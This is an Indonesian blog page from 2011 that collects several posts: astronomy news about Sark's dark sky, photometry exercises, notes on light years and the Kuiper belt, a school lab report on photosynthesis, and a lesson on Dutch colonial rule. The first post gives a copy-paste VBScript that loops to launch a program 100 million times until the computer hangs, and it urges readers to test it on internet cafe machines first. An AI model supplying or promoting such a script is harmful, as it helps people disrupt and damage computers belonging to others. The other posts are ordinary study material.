HOme

Sabtu, 26 Maret 2011

MEMBUAT KOMPUTER HANG TOTAL

SEBELUM MENCOBA DI COM PribadI.. coba dulu di warnet.. NB: SEGALA KERUSAKAN DI TANGGUNG SENDIRI.

VIRUZ1 : MEMBUAT  KOMPUTER HANG TOTAL

Membuat viruz Tidaklah Susah..GUNAKAN NOTEPAD ' dan Cukup anda copy paste Kode dibawah ini'??
option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next
save as lewat notepad dengan nama AKATER.vbs
Save  as type  : ALL FILE
Silahkan Jalankan file tersebut dan lihat, komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.

Minggu, 13 Maret 2011

Pulau tergelap


Description: http://stat.k.kidsklik.com/data/photo/2011/02/01/1959534620X310.jpg

Sark, sebuah pulau yang berjarak 80 km di selatan pantai Inggris meraih gelar sebagai pulau berlangit gelap pertama di dunia. Pulau tersebut merupakan pulau terkecil di antara 4 anggota Kepulauan Channel.


Kenapa dinamakan demikian? Gelar pulau berlangit gelap pertama itu diberikan oleh International Dark Sky Association (IDA), sebuah organisasi Amerika Serikat yang memiliki misi melestarikan kegelapan dan keindahan langit malam.

IDA memberikan gelar tersebut setelah selama setahun bekerja keras dengan 600 warga pulau untuk mengurangi polusi cahaya. Mereka bekerja sama memastikan sesedikit mungkin cahaya yang "tumpah" ke angkasa, menyebabkan kaburnya cahaya bintang.

Dengan langit gelap yang dimiliki, maka Sark adalah surga bagi para astronom, amatir maupun profesional. Bintang, bulan, meteor, planet, benda angkasa lain beserta fenomenanya bisa dilihat dengan sangat jelas.

"Anda bisa melihat pemandangan spektakuler di Inggris, tapi sangat sedikit tempat yang bisa memberikan pemandangan kegelapan tingkat dunia," kata Steve Owens, astronom yang bekerja sama dengan warga untuk mewujudkan langit gelap Sark.

"Jika anda berada di tempat seperti Sark, Bimasakti adalah pemandangan rutin tiap malam. Itu membuat saya merasa kagum. Setiap titik-titik di angkasa adalah 'matahari' dan terdapat 100 juta jumlahnya," tandas Owens.

Ia mengatakan, "Itu (pemandangan langit malam) membuat saya merasa betapa spesialnya Bumi. Kita tidak pernah menemukan tempat lain di dalam kosmos yang begitu sempurnanya untuk mendukung hidup."

Untuk mewujudkan langit gelap, Owens dan warga musti mengukur tingkat ilmuniasi cahaya serta kejelasan konstelasi bintang. Owens mendatangi setiap lokasi di Sark dan membuat rekomendasi untuk mengurangi iluminasi cahaya.

Dengan modal langit gelapnya dan gelarnya, ekonomi Sark berpotensi untuk dikembangkan. Wisatawan bisa dipacu untuk tinggal hingga musim dingin sehingga bisa menikmati keindahan langit malam Sark.

Paul Williams, ketua komite pertanian Sark mengatakan, "Astronomi sedang naik daun. Banyak orang penasaran tentang planet, bintang dan kehidupan di luar sana. Siapa tahu sesuatu bisa ditemukan dari Sark," kata Williams.

Jumat, 11 Maret 2011

Contoh soal Fotometri

Contoh – contoh soal
Fotometri

1. Sebutkan ciri – ciri benda hitam (black body) !
2. Apakah perbedaan antara fluks dan luminositas ?
3. Dalam table di bawah ini terdapat magnitude dari lima buah bintang. Tentukanlah bintang no berapa yang merupakan bintang paling terang dan bintang mana yang paling lemah, Jelaskan . . . .!
No Magnitude
1 2,3
2 5,4
3 -0,9
4 -2,3
5 7,5

4. Apakah yang dimaksud dengan magnitude ?
5. Apakah perbedaan antara magnitude mutlak dengan magnitude semu . . .?
6. Berapa jarak bintang – bintang dengan magnitude semu m dang magnitude mutlak M di bawah ini :
a. m = 10 M = 6
b. m = 20 M = 10
7. Lima bintang diamati magnitude dalam panjang gelombang visual (V) dan Biru (B) seperti yang diperlihatkan table di bawah ini

NO B V
1 8,52 8,82
2 7,45 7,25
3 7,45 6,35
4 6,75 6,58
5 6,46 6,12

a. Tentukan bintang no berapakah yang paling terang (Jelaskan) ?
b. Bintang yang anda pilih yang paling terang itu dalam kenyataannya apakah benar benar bintang yang paling terang (Jelaskan)
c. Tentukan bintang mana yang paling panas dan mana yang paling dingin jelaskan alasannya!
8. Berapa banyak terang Alnair, magnitudo tampak dari 1,73 dari Proxima Cen dengan besarnya 11,09?
9. β Crucis (atau Mimosa) memiliki magnitudo tampak sebesar 1,25 dan 108 parsecs jauhnya. Berapa Magnitudo mutlaknya?
10. Betelgeuse memiliki magnitudo tampak dari 0,45 dan magnitudo mutlak -5,14. Seberapa jauhkah itu?

Tahun Cahaya

Tahun cahaya (bahasa Inggris:light year) adalah satuan panjang yang didefinisikan sebagai jarak yang ditempuh cahaya dalam satu tahun melewati ruang hampa udara. Istilah tahun yang digunakan untuk perhitungan adalah tahun Julian yang mempunyai 365,25 hari atau 31.557.600 detik. Kadang kala rata-rata tahun tropis 31.556.925,9747 detik digunakan. Karena cahaya menempuh kecepatan 299.792.458 meter per detik (m/s) dalam ruang hampa udara, maka dengan menggunakan tahun Julian, satu tahun cahaya sama dengan 9.460.730.472.580,8 kilometer (5.878.625.373.184 mil).

www.wikipedia.org

Selasa, 08 Maret 2011

Kuiper belt


Kuiper belt

Plot of all known Kuiper belt objects, set against the four outer planets
The Kuiper belt, the region's first formation, is a great ring of debris similar to the asteroid belt, but composed mainly of ice.It extends between 30 and 50 AU from the Sun. Though it contains at least three dwarf planets, it is composed mainly of small Solar System bodies. However, many of the largest Kuiper belt objects, such as Quaoar, Varuna, and Orcus, may be reclassified as dwarf planets. There are estimated to be over 100,000 Kuiper belt objects with a diameter greater than 50 km, but the total mass of the Kuiper belt is thought to be only a tenth or even a hundredth the mass of the Earth.Many Kuiper belt objects have multiple satellites,  and most have orbits that take them outside the plane of the ecliptic.
The Kuiper belt can be roughly divided into the "classical" belt and the Resonances. Resonances are orbits linked to that of Neptune (e.g. twice for every three Neptune orbits, or once for every two). The first resonance begins within the orbit of Neptune itself. The classical belt consists of objects having no resonance with Neptune, and extends from roughly 39.4 AU to 47.7 AU. Members of the classical Kuiper belt are classified as  cubewanos, after the first of their kind to be discovered,  and are still in near primordial, low-eccentricity orbits.

PEMBUKTIAN FOTOSINTESIS DAPAT MENGHASILKAN KARBOHIDRAT DAN OKSIGEN


PEMBUKTIAN FOTOSINTESIS DAPAT MENGHASILKAN
KARBOHIDRAT DAN OKSIGEN












 









Nama Anggota
               
                                               

1.   Gede Gunawan Mahardika (VIII A1) (17)
                               
                                               
















 









SMP NEGERI 1 SINGARAJA
2011


KATA PENGANTAR

       Puji syukur kami panjatkan kehadirat Tuhan Yang Maha Esa, karena atas rahmat dan karunia-Nya, sehingga kami dapat menyelesaikan tugas ini, yang berjudul ”PEMBUKTIAN FOTOSINTESIS MENGHASILKAN OKSIGEN DAN KARBOHIDRAT”.
                Kami menyadari mungkin masih banyak terdapat kekurangan dalam tugas ini. Untuk itu kami menghargai setiap kritik dan saran guna menyempurnakan tugas ilmiah ini.
                Mudah–mudahan tugas ini dapat berguna bagi kita semua, baik dari segi pembelajaran maupun segi sosial.

Singaraja,  Maret 2011

Penulis












DAFTAR ISI

KATA PENGANTAR…………………..............................................………………………......                                   2
DAFTAR ISI…………………………...................................................………………………….                                     3
BAB I PENDAHULUAN
                 1.1. Latar Belakang..................................................................................................          4
                 1.2. Rumusan Masalah.........................................................................................               4
                 1.3. Tujuan Penulisan..............................................................................................          4
                 1.4. Manfaat.............................................................................................................        5
BAB II TINJAUAN PUSTAKA
                 2.1. Landasan Teori . . ……………………..................................…………………...                                   6
BAB III  METODE PENULISAN                                                                                                                     
3.1. Waktu dan tempat Percobaaan ..................................................................                   7
3.2 Metode Pengumpulan Data..........................................................................                  7
3.3. Metode Analisis Data ......................................................................................             7
BAB IV HASIL DAN PEMBAHASAN......................................................................................              8
BAB V PENUTUP
                 5.1. Kesimpulan........................................................................................................11
DAFTAR PUSTAKA..................................................................................................................12













BAB I
PENDAHULUAN

1.1. Latar Belakang
Fotosintesis adalah mengolah bahan sederhana menjadi bahan yang kompleks dengan bantuan cahaya pada tumbuhan. Bahan sederhana yang digunakan oleh tumbuhan untuk proses fotosintesis adalah karbon dioksida dan air. Tumbuhan umumnya mendapatkan karbon dioksida dari udara dan mendapatkan air dari tanah. Karbon dioksida diubah menjadi gula. Hasil sampingan proses ini adalah gas oksigen.
Proses ini memerlukan energi yang alami didapat dari cahaya matahari. Energi cahaya matahari ini diserap oleh klorofil yang terdapat pada tumbuhan. Proses Fotosintesis menghasilkan oksigen dan karbohidrat. Fotosintesis pada tumbuhan dilakukan pada siang hari dengan bantuan sinar matahari dan karbon dioksida serta mengeluarkan oksigen dan karbohidrat. Oksigen akan disebarkan ke luar tumbuhan sehingga manusia dapat menghirupnya untuk bernafas sedangkan karbohidrat digunakan oleh tumbuhan itu sendiri untuk pertumbuhan.
Pada malam hari karena tidak ada cahaya matahari, tumbuhan mengambil oksigen dari udara dan mengeluarkan karbon dioksida. Pada tugas laporan ini saya akan membahas mengenai pembuktian bahwa fotosintesis menghasilkan karbohidrat dan oksigen.

1.2. Rumusan Masalah
1.         Bagaimana cara membuktikan bahwa fotosintesis meghasilkan karbohidrat ?
2.       Bagaimana cara membuktikan bahwa fotosintesis menghasilkan oksigen ?

1.3. Tujuan
Tujuan kami melakukan percobaan ini tentunya menjawab dari rumusan masalah yang kami buat :
·         Mengetahui cara membuktikan bahwa fotosintesis menghasilkan karbohidrat dan oksigen.





1.4. Manfaat
Manfaat yang kami harapkan dari percobaan ini adalah membuat kami lebih kritis dan aktif mencoba. Mendalami pelajaran yang sedang dibahas, serta mampu bekerja sama dalam proses pembelajaran.
























BAB II
TINJAUAN PUSTAKA
2.1.Landasan Teori
Fotosintesis adalah mengolah bahan sederhana menjadi bahan yang kompleks dengan bantuan cahaya pada tumbuhan. Bahan sederhana yang digunakan oleh tumbuhan untuk proses fotosintesis adalah karbon dioksida dan air. Tumbuhan umumnya mendapatkan karbon dioksida dari udara dan mendapatkan air dari tanah. Karbon dioksida diubah menjadi gula. Hasil sampingan proses ini adalah gas oksigen.
Proses ini memerlukan energi yang alami didapat dari cahaya matahari. Energi cahaya matahari ini diserap oleh klorofil yang terdapat pada tumbuhan. Proses Fotosintesis menghasilkan oksigen dan karbohidrat. Fotosintesis pada tumbuhan dilakukan pada siang hari dengan bantuan sinar matahari dan karbon dioksida serta mengeluarkan oksigen dan karbohidrat. Oksigen akan disebarkan ke luar tumbuhan sehingga manusia dapat menghirupnya untuk bernafas sedangkan karbohidrat digunakan oleh tumbuhan itu sendiri untuk pertumbuhan.
Fotosintesis dipengaruhi oleh beberapa factor yaitu Cahaya, Konsentrasi Karbon Dioksida, Suhu, Oksigen, Air dan Kandungan Klorofil. Sel Palisade pada tumbuhan (daun) merupakan tempat untuk melakukan fotosintesis karena memiliki kandungan kroloplas yang banyak. Fotosintesis berlangsung melalui dua tahap yaitu Reaksi Terang Berlangsung Dengan Cahaya dan Reaksi Gelap.












BAB III
METODE PENELITIAN
3.1. WAKTU DAN TEMPAT PERCOBAAN
Dalam mendapatkan dan mencari hasil penelitian, kami melaksanakan percobaan sebanyak satu kali pertemuan :
1.   Pertemuan kami laksanakan pada hari Kamis 24 Februari 2011 di sekolah pada saat jam pelajaran biologi
3.2. METODE PENGUMPULAN DATA
Data – data sebagai pedoman pembelajaran kami dapatkan dari buku panduan belajar kami. Kami juga mengumpulkan data dari orang – orang terdekat kami termasuk guru kami.
3.3. METODE ANALISIS DATA
            Berdasarkan data – data yang kami dapat , kami mempelajari dan melakukan percobaan. Kami melakukan percobaan seperti yang kami jelaskan diatas. Kami menyiapkan alat dan bahan sesuai dengan data yang kami dapat dan kami analisi bersama.













BAB IV
HASIL DAN PEMBAHASAN

4.1. Membuktikan bahwa Fotosintesis Menghasilkan Karbohidrat
            4.1.1. Tujuan Percobaan
                        - Membuktikan bahwa fotosintesis menghasilkan karbohidrat
            4.1.2. Alat dan Bahan
§         Gelas Kimia                                        
§         Tripod (Kaki Tiga)
§         Pembakar Spiritus
§         Tabung Reaksi
§         Cawan Petri
§         Lugol
§         Gunting
§         Daun Tumbuhan
§         Alkohol
§         Penjepit
§         Pipet tetes
§         Air
4.1.3. Prosedur Kerja
1.      Petiklah 2 buah daun , yaitu daun yang berwarna hijau dan warna lain misalnya kekuningan
2.      Potong masing – masing daun
3.      Masukkan potongan kedua daun tersebut ke dalam gelas kimia yang sudah terisi air
4.      Sangga gelas kimia dengan tripod lalu panaskan dengan pembakar spiritus. Tujuannya agar sel – sel pada daun mati.
5.      Tunggu beberapa menit hingga mendidih
6.      Setelah mendidih angkat daun kemudian masukkan ke dalam tabung reaksi
7.      Setelah dimasukkan ke dalam tabung reaksi isilah dengan alkohol. Tujuannya agar klorofil larut.
8.      Panaskan kembali di dalam gelas kimia yang sudah terisi dengan air
9.      Tunggu beberapa menit hingga mendidih
10.  Setelah mendidih letakkan di cawan petri
11.  Pada cawan petri teteskan larutan lugol untuk membuktikan bahwa fotosintesis menghasilkan karbohidrat. Tunggu hingga berubah warna.

4.1.4. Hasil
Jenis daun
Warna setelah ditetesi Lugol
Keterangan
Daun Berwarna Hijau
Berwarna Ungu kehitam - hitaman
Merupakan daun yang mengandung dan menghasilkan karbohidrat dari hasil fotosintesisnya
Daun Berwarna Kekuningan
Tetap berwarna kekuningan
Daun yang tidak mengandung karbohidrat




4.2. Membuktikan bahwa Fotosintesis Menghasilkan Oksigen
            4.2.1. Tujuan Percobaan
                        - Membuktikan bahwa fotosintesis menghasilkan Oksigen
            4.2.2. Alat dan Bahan
§         Tabung Reaksi
§         Gelas Kimia
§         Tumbuhan Air Hydrilla
§         Corong Kaca
§         Air
4.2.3. Prosedur Kerja
1.      Masukkan beberapa Hydrilla ke dalam corong kaca
2.      Lalu letakkan corong kaca secara terbalik pada gelas kimia yang telah terisi air
3.      Lalu tutup corong kaca dengan menggunakan tabung reaksi
4.      Taruh gelas kimia beserta alat – alat yang telah disusun pada tempat yang terkena cahaya matahari
5.      Tunggu beberapa saat hingga ada gelembung – gelembung yang muncul.

4.2.4. Hasil
            Jika terdapat gelembung – gelembung yang muncul pada gelas kimia tersebut itu menandakan bahwa fotosintesis tumbuhan hydrill tersebut menghasilkan oksigen.




BAB V
PENUTUP

5.1.Kesimpulan
            Berdasarkan hasil praktikum yang diperoleh maka dapat disimpulkan sebaai berikut :
1.      Fotosintesis adalah proses metabolisme dalam tanaman untuk membentuk karbohidrat dan oksigen dengan menggunakan karbondioksida dari udara dan air dari dalam tanah serta bantuan cahaya matahari dan air
2.      Warna Ungu Kehitam – hitaman pada tumbuhan berwarna hijau setelah ditetesi lugol menandakan tumbuhan tersebut mengandung karbohidrat
3.      Gelembung – gelembung yang timbul dari hasil percobaan dengan tumbuhan hydrilla setelah dipanaskan dengan sinar matahari menandakan oksigen yang terbentuk dari hasi fotosinttesis tersebut















DAFTAR PUSTAKA

WASIS, DAN  SUGENG YULI IRIANTO, ILMU PENGETAHUAN ALAM SMP DAN MTS KELAS VIII, JAKARTA, GANECA EXACT.

Senin, 07 Maret 2011

Perjuangan Melawan Penjajah

PERJUANGAN MELAWAN PENJAJAH

a.   Latar belakang kedatangan kaum penjajah
            Pada awal abad ke-15 bangsa Eropa mulai mengadakan penjajahan samudera. Tujuannya, mencari kekayaan dan kejayaan, serta menyebarkan Agama Nasrani
            Salah satu kebutuhan yang sangat diperlukan oleh bangsa Eropa yang mempunyai iklim dingin adalah rempah – rempah. Rempah – rempah berguna untuk obat – obatan, penyedap makanan, dan pengawet makanan.
            Negara penghasil rempah – rempah yang terkenal sejak zaman dahulu ialah Indonesia, terutama Maluku. bangsa Eropa ingin membeli rempah – rempah tersebut secara langsung dari Indonesia. Ada beberapa alasan mengapa mereka menyukai rempah – rempah dari Indonesia. pertama, mutu rempah – rempah Indonesia bagus. Kedua harganya lebih murah dibandingkan dengan harga di Eropa.

b.   Kedatangan bangsa Eropa ke Indonesia
            Pada awalnya, tujuan utama bangsa eropa datang ke Indonesia ialah untuk berdagang. Akan tetapi, tujuan tersebut selanjutnya berubah menjadi menjajah. Beberapa bangsa Eropa yang pernah datang dan menjajah Indonesia ialah bangsa Portugis, Spanyol, Belanda, dan Inggris. Belanda merupakan bangsa yang paling lama memjajah Indonesia, yakni selama 350 tahun.

1.   Bangsa Belanda
            Dalam upaya mencari jalan menuju Indonesia, pada mulanya pelaut – pelaut Belanda mencari jalan melalui Kutub Utara. Usaha ini tidak berhasil. Kemudian mereka mencari jalan lain yaitu melalui Tanjung Harapan. Setelah berlayar selama 14 bulan, akhirnya, pada 22 Juni 1596, armada Belanda berhasil mendarat di Banten. Rombongan ini dipimpin oleh Cornelis De Houtman.
            Tujuan utama Belanda datang ke Indonesia ialah untuk berdagang, terutama rempah – rempah. Mula – mula Belanda menunjukkan sikap bersahabat dengan masyarakat Banten. Kemudian Belanda melakukan perjanjian perdagangan dengan Banten. Tetapi, akhirnya Belanda memperlihatkan sikap serakah dan bersikap kasar. Tindakan ini membuat masyarakat Banten marah dan memusuhi Belanda.
            Kedatangan Belanda tidak mendapat sambutan yang baik dari masyarakat Indonesia. Armada Belanda tidak dapat melanjutkan perjalanan ke Maluku untuk mencari rempah – rempah. Mereka akhirnya kembali ke Belanda melalui Bali. Armada Belanda yang pertama ini mengalami kerugian besar. Meskipun demikian, rombongan mereka disambut dengan gembira. Alasannya karena mereka sudah menemukan jalan sendiri menuju Indonesia.

Lahirnya VOC
            Pada tahun 1598, untuk kedua kalinya armada Belanda tiba di Banten. Armada ini dipimpin oleh Jacon Van Neck, disusul kemudian oleh armada yang dipimpin oleh Warwijk. Sejak saat itu orang – orang Belanda berlomba – lomba datang ke Indonesia.
            Terbukannya jalur perdagangan ke Indonesia mengakibatkan munculnya persaingan dagang di antara para pedagang. Baik antara sesama pedagang Belanda sendiri maupun dengan pedagang eropa lainnya.
            Untuk memenangkan persaingan dagang dengan Bangsa Eropa lainnya dan di antara sesama Bangsa Belanda sendiri, maka Belanda membentuk persatuan dagang. Persatuan dagang Belanda tersebut didirikan pada tanggal 20 Maret 1602. Namanya ialah Vereenigda Oost Indische Compagnie, disingkat VOC. Artinya persatuan dagang Hindia Timur. Tujuannya mencari keuntungan sebesar – besarnya dengan jalan melawan pesaing – persaingnya, baik dari dalam maupun luar negeri seperti Portugis, Inggris, dan Spanyol.
            Untuk kelancaran usaha dagangnya, pemerintah Belanda memberi hak monopoli kepada VOC, sehingga VOC memiliki beberapa hak :
  1. Membuat perjanjian dengan raja – raja setempat.
  2. Menyatakan perang dan mengadakan perjanjian.
  3. Membuat senjata dan memdirikan benteng.
  4. Mencetak uang
  5. Mengangkat dan memberhentikan pegawai.
Pieter Both diangkat menjadi Gubernur Jenderal VOC yang pertamma dan berkedudukan di Ambon. VOC melakuakn monopoli perdagangan rempah – rempah . Artinya rempah – rempah hanya boleh dijual kepada VOC dengan harga yang ditentukan oleh VOC.
Ketika Jan Pieterszoon Coen menjadi gubernur Jenderal, pusat VOC dipindahkan dari Ambon ke Jayakarta (Jakarta) pada tanggal 31 Mei 1619. Nama Jayakarta diganti  menjadi Batavia. Alasan pemindahan kantor VOC adalah, pertama letak Jayakarta dianggap strategis bagi pelayaran perdagangan. Kedua Jayakarta lebih dekat ke Tanjung Harapan. Sejak bermarkas di Jayakarta sikap VOC semakin kasar dan mereka mulai menjajah Bangsa Indonesia. Akibatnya timbul perlawanan di mana – mana.
Walaupun VOC mendapat perlawanan dari rakyat Indonesia, namun mereka dapat menguasai kerajaan – kerajaan di Indonesia. Belanda dengan mudah menguasai kerajaan – kerajaan di Indonesia dengan menjalankan politik adu domba. Maksudnya, Belanda mengadu antara raja – raja Bangsa Indonesia sendiri untuk saling bermusuhan. Belanda berpura – pura membela salah satu dari kerajaan yang berselisih, dengan syarat harus tunduk kepada Belanda.
Namun demikian menjelang abad ke-19, keadaan keuangan VOC semakin memburuk, sehingga VOC mengalami kebangkrutan. Melihat keadaan ini, pada tanggal 31 Desember 1799, VOC dibubarkan. Kekuasaan VOC di Indonesia diambil alih oleh pemerintah Belanda.

2.   Sistem Kerja Paksa dan Penarikan Pajak
Pada akhir abad ke-18, terjadi perubahan politik di Eropa. Pada tahu 1806 Napoleon Bonaparte ( Kaisar Prancis ) berhasil menaklukkan Belanda. Napoleon kemudian mengubah bentuk negara Belanda dari republik menjadi kerajaan. Sebagai Gubernur Jenderal Belanda di Indonesia, Napoleon mengangkat Herman Willem Daendels. Tujuannya, mempersiapkan diri untuk menghadapi serangan dari Inggris.
Untuk memperkuat pertahanan di Pulau Jawa, Daendels memerintahkan pembuatan jalan raya. Jalan raya itu sangat panjang. Tujuannya, untuk mempercepat pergerakan pasukan Belanda bila terjadi peperangan. Jalan raya itu terbentang dari Anyer (Banten) sampai Panarukan (Jawa Timur).
Untuk mempercepat pembuatan jalan raya itu, Daendels memrintahkan rakyat Indonesia bekerja paksa tanpa diberi upah. Semua orang dipaksa bekerja keras untuk pembuatan jalan raya tersebut. Siapa yang membantah, dikenai hukuman badan dengan cara disiksa, tanpa peri kemanusiaan. Rakyat Indonesia yang miskin dan melarat semakin menderita dengan adanya kerja paksa tersebut. Akibatnya tidak sedikit bangsa Indonesia yang menjadi korban. Banyak di antara mereka mati kelaparan dan terserang penyakit malaria. Kerja paksa ini disebut Rodi.
Tindakan Daendels tersebut membuat hubungannya dengan penguasa pribumi menjadi renggang. Salah seorang pribumi yang menentang Daendels ialah Pangeran Kusumadinata dari Sumedang, Jawa Barat. Beliau tidak rela rakyat Sumedang yang ikut kerja paksa itu menjadi korban.
Kekejaman yang dilakukan Gubernur Jenderal Daendels terhadap rakyat Indonesia akhirnya didengar oleh Napoleon. Pada tahun 1811 Daendels dipanggil kembali ke negeri Belanda dan digantikan oleh Jansen.

Tanam Paksa (Cultuur Stelsel)
Pada tahun 1830, Van Den Bosch diangkat sebagai Gubernur Jenderal menggantikan Van Der Capellen. Ia diberi tugas mencari uang guna mengisi kas negara Belanda yang sudah kosong akibat perang. Van Den Bosch memberlakukan tanam paksa atau Cultuur Stelsel. Pemerintah Belanda mengerahkan tenaga rakyat untuk menanam tanaman yang hasilnya dapat dijual di pasaran dunia. Misalnya, teh, kopi, tembakau, tebu, dan lain – lain.
Sebenarnya kalau peraturan tanam paksa dijalankan dengan benar, maka tidak akan menyengsarakan rakyat. Tetapi dalam pelaksanaannya tidak sesuai dengan aturan yang ditetapkan. Pihak Belanda semakin bertindak sewenang – wenang. Hasil tanaman rakyat dibayar dengan harga yang sangat murah
Tanam paksa menimbulkan penderitaan rakyat. Beban yang harus dialami rakyat semakin berat. Hasil pertanian semakin turun. Bencana kelaparan terjadi di mana – mana. Tidak sedikit rakyat Indonesia yang mati kelaparan.
Sebaliknya, sistem tanam paksa ini sangat menguntungkan Belanda. Kas negara yang tadinya kosong, kini terisi kembali. Semua hasil tanam paksa diangkut ke negari Belanda.

Aturan Tanam Paksa atau Cultuur Stelsel
1.        Penduduk desa diwajibkan menyediakan 1/5 dari tanahnya untuk ditanami tanaman yang laku di pasaran Eropa.
2.        Tanah yang dipakai untuk tanaman yang diwajibkan ini dibebaskan dari pajak tanah.
3.        Hasil tanaman itu wajib diserahkan kepada pemerintah Hindia Belanda.
4.        Kerusakan – kerusakan yang tidak dapat dicegah oleh petani menjadi tanggungan pemerintah
5.        Pekerjaan yang dilakukan untuk menanam tanaman wajib tidak boleh melebihi pekerjaan yang diperlukan untuk menanam padi.
6.        Yang bukan petani harus bekerja 66 hari setahun bagi pemerintah Belanda.
Penentang Tanam Paksa
Akibat pelaksanaan tanam paksa, penderitaan yang dialami bangsa Indonesia semakin bertambah. Kemiskinan dan kelaparan selalu mengancam.
Ternyata ada juga orang Belanda yang tidak senang dengan diberlakukannya tanam paksa. Di antara bangsa Belanda yang menentang ialah Douwes Dekker dan pendeta Van Houvel. Douwes Dekker, mantan Residen Lebak mengancam tanam paksa melalui bukunya yang berjudul Max Havelaar diceritakan penderitaan rakyat Indonesia akibat pelaksanaan tanam paksa. Selama 31 tahun bangsa Indonesia mengalami keterbelakangan dan kebodohan. Kemiskinan, kelaparan, berbagai penyakit, dan turunnya semangat hidup melanda rakyat di mana – mana.
Untuk itu Multatuli mendesak pemerintah Belanda agar tanam paksa segera dihapuskan. Akhirnya, setelah melalui perdebatan seru di parlemen Belanda, tanam paksa mulai di hapuskan walaupun secara bertahap.